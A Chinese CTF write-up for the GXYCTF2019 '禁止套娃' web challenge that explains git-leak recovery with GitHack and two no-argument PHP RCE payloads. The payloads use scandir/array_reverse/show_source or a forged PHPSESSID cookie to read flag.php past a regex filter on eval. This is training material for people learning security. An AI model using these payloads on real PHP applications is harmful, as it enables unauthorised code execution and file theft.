[GXYCTF2019]禁止套娃--详解

目录

分析

法一

法二


分析

打开连接,发现啥也没有,只有一句话在那,看了源码、抓包数据也没发现啥,用dirsearch目录扫描一下,间隔设置为0.1线程设置为1,防止429,就是跑得比较久

[GXYCTF2019]禁止套娃--详解_第1张图片

等了一会,发现跑出了这些东西,应该是git源码泄露,我们可以利用githack获取源码,参考

GitHack -一个git泄露利用脚本 - 简书 (jianshu.com)

先用工具获取源码,打开终端 

python GitHack.py http://7d44aa8e-aa29-4340-97bd-c22e251fb5b2.node4.buuoj.cn:81/.git/

然后到工具所在目录找到index.php文件

[GXYCTF2019]禁止套娃--详解_第2张图片

打开文件 

";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

 开始审计源码,我们最终的目标是执行@eval($_GET['exp'])

正则不太记得可以参考

PHP正则表达式,看这一篇就够了

函数不分大小写地过滤掉了

data://

filter://

php://

phar://

et

na

info

dec

bin

hex

oct

pi

log

 对于第二个if,参考别人的wp

 (?R)是引用当前表达式,(?R)? 这里多一个?表示可以有引用,也可以没有。,引用一次正则则变成了[a-z,_]+\([a-z,_]+\((?R)?\)\),可以迭代下去,那么它所匹配的就是print(echo(1))、a(b(c()));类似这种可以括号和字符组成的,这其实是无参数RCE比较典型的例子

无参数RCE参考

无参数RCE总结_L1am0ur的博客-CSDN博客_无参数rce

因为不能传参,所以只能利用函数回显套娃来代替目标参数,这题有两种方法解决


法一

利用函数找到并代替flag.php

先看一下flag文件的位置,构建payload

?exp=print_r(scandir(pos(localeconv())));

看一下上面的函数

localeconv(),回显数组,第一个数组是字符"."点号

pos(),传入数组,回显第一个数组的值,pos可以用current代替

所以pos(localeconv())等价于.号

而函数scandir(.)意思是以数组的形式回显当前目录下的所有文件

再配合print_r函数输出数组

flag在第四个数组里 ,我们只要想办法包涵这个文件即将flag.php调到第一个数组里或者是数组指针指向flag.php,这里有几个函数

PHP array_reverse() 函数 (w3school.com.cn)数组反转

PHP next() 函数 (w3school.com.cn) 数组指针移动下一位

所以可以先利用函数array_reverse将数组反转,flag就在第二位了,再利用next指向第二位数组,在用文件显示包涵即可输出flag.php文件,构造payload

?exp=show_source(next(array_reverse(scandir(current(localeconv())))));

[GXYCTF2019]禁止套娃--详解_第3张图片

 拿到flag

法二

利用session_id代替flag.php

方法就是先用cookie传参来设置session_id的值,session_id的值等于cookie中PHPSESSID的值,所以构建cookie头

Cookie: PHPSESSID=flag.php

在PHP中,session通常不会手动开启,需要利用php函数session_start来开启,所以可以构造payload

?exp=show_source(session_id(session_start()));

用burpsuite抓包写入cookie头

[GXYCTF2019]禁止套娃--详解_第4张图片

添加完http头后点击放行

 

拿到flag 

你可能感兴趣的:(CTFのWriteUp,CTF)